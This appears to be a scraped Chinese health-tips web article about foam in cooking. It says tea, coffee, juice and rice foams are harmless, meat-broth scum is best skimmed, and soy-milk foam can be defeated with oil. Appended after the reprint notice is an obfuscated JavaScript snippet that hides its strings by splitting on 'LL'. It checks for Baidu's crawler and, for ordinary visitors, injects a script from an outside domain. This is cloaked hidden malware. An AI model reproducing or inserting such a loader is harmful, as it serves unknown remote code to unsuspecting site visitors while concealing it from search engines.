當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

煮茶煮粥燉肉出現(xiàn)泡沫好處多 茶葉泡沫抗菌減脂

2019-04-01 14:55:27  來源:360常識網(wǎng)   熱度:
導(dǎo)語:泡茶、榨果汁、燉肉……在很多美食中,我們都能看到一層泡沫。有人說,這是食材的精華要保留。有人則懷疑,泡沫中含有害物質(zhì),得除掉。到底

 泡茶、榨果汁、燉肉……在很多美食中,我們都能看到一層泡沫。

有人說,這是食材的精華要保留。有人則懷疑,泡沫中含有害物質(zhì),得除掉。到底該如何和泡沫「和平相處」呢?今天360常識網(wǎng)就來為大家說一說。

煮茶煮粥燉肉出現(xiàn)泡沫是好是壞 茶葉泡沫抗菌抑制脂肪

無害的泡沫

泡茶產(chǎn)生的泡沫、沖咖啡時的泡沫、榨果蔬汁的泡沫都沒問題。它們是茶、咖啡或蔬果里的一些特殊物質(zhì),可以放心喝。

1、泡茶的泡沫

泡茶時,讓茶水產(chǎn)生泡沫的物質(zhì)叫做「茶皂素」,是皂苷的一種。根據(jù)目前的科學(xué)研究,它可能具有抗菌作用,并能抑制脂肪的吸收。

因此,喝茶時不要把這層泡沫去掉。

不過,茶中的茶皂素實在太少,距離產(chǎn)生抗菌等健康作用所需要的量差得很遠,還是不要真的指望它們來抗菌了。

煮茶煮粥燉肉出現(xiàn)泡沫是好是壞 茶葉泡沫抗菌抑制脂肪

2、榨果蔬汁的泡沫

榨果蔬汁時的泡沫跟咖啡中的泡沫一樣,有多種物質(zhì),但它們也都是果蔬汁中的營養(yǎng)成分,喝下去也不會影響健康。

3、咖啡的泡沫

咖啡中能產(chǎn)生泡沫的成分很多,細微的咖啡顆粒本身也能產(chǎn)生泡沫。有些喝法,泡沫是由牛奶產(chǎn)生的,比如卡布奇諾、拿鐵等。

不管是咖啡本身還是牛奶產(chǎn)生的泡沫,不損害健康,可以盡情享用。

煮茶煮粥燉肉出現(xiàn)泡沫是好是壞 茶葉泡沫抗菌抑制脂肪

4、煮飯、粥、面的泡沫

大米和面粉中都含有一些蛋白質(zhì),煮的過程中會有一些溶到水中起到表面活性劑的作用。此外,大米和面中的淀粉也會有一些溶到水中,增加水的黏度。

高黏度的湯有助于泡沫的穩(wěn)定存在,也就是說湯的黏度越高,泡沫可能越多。這些泡沫對健康沒有害處,可以放心食用。

煮茶煮粥燉肉出現(xiàn)泡沫是好是壞 茶葉泡沫抗菌抑制脂肪

需要特殊處理的泡沫

有兩種泡沫需要特殊處理,一是燉肉或煮肉湯時的泡沫,一是打豆?jié){時的泡沫。

1、燉肉的泡沫

燉肉時產(chǎn)生的泡沫,應(yīng)該撇掉。

煮肉時的泡沫稍微復(fù)雜一些,其起泡的主要成分也是蛋白質(zhì)。肉中的脂肪以及其他成分也都會出現(xiàn)在泡沫中。

此外,肉中的許多血管,殘留的一些血液也會跑到湯里,經(jīng)常產(chǎn)生令人反感的氣味和外觀。

所以,煮肉初期產(chǎn)生的泡沫主要源自肉中殘留的血水,伴隨著一些雜質(zhì),最好撇去。如果此后再產(chǎn)生白色的泡沫,主要是肉中的蛋白質(zhì),則可以保留。

煮茶煮粥燉肉出現(xiàn)泡沫是好是壞 茶葉泡沫抗菌抑制脂肪

2、打豆?jié){的泡沫

打豆?jié){時產(chǎn)生的泡沫,可以加一點點油來消除,并且繼續(xù)加熱。

打豆?jié){時產(chǎn)生的泡沫主要是其中的皂苷產(chǎn)生的。它本身沒有什么問題,但它的存在會使得豆?jié){在沒有被加熱到沸騰時就滿鍋泡沫,造成沸騰的假象。

此時的豆?jié){中含有蛋白酶抑制劑等反營養(yǎng)物質(zhì),會影響蛋白質(zhì)的吸收。所以,可以加一點油來消泡,并且小火加熱等泡沫消失,把豆?jié){加熱到真正沸騰。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}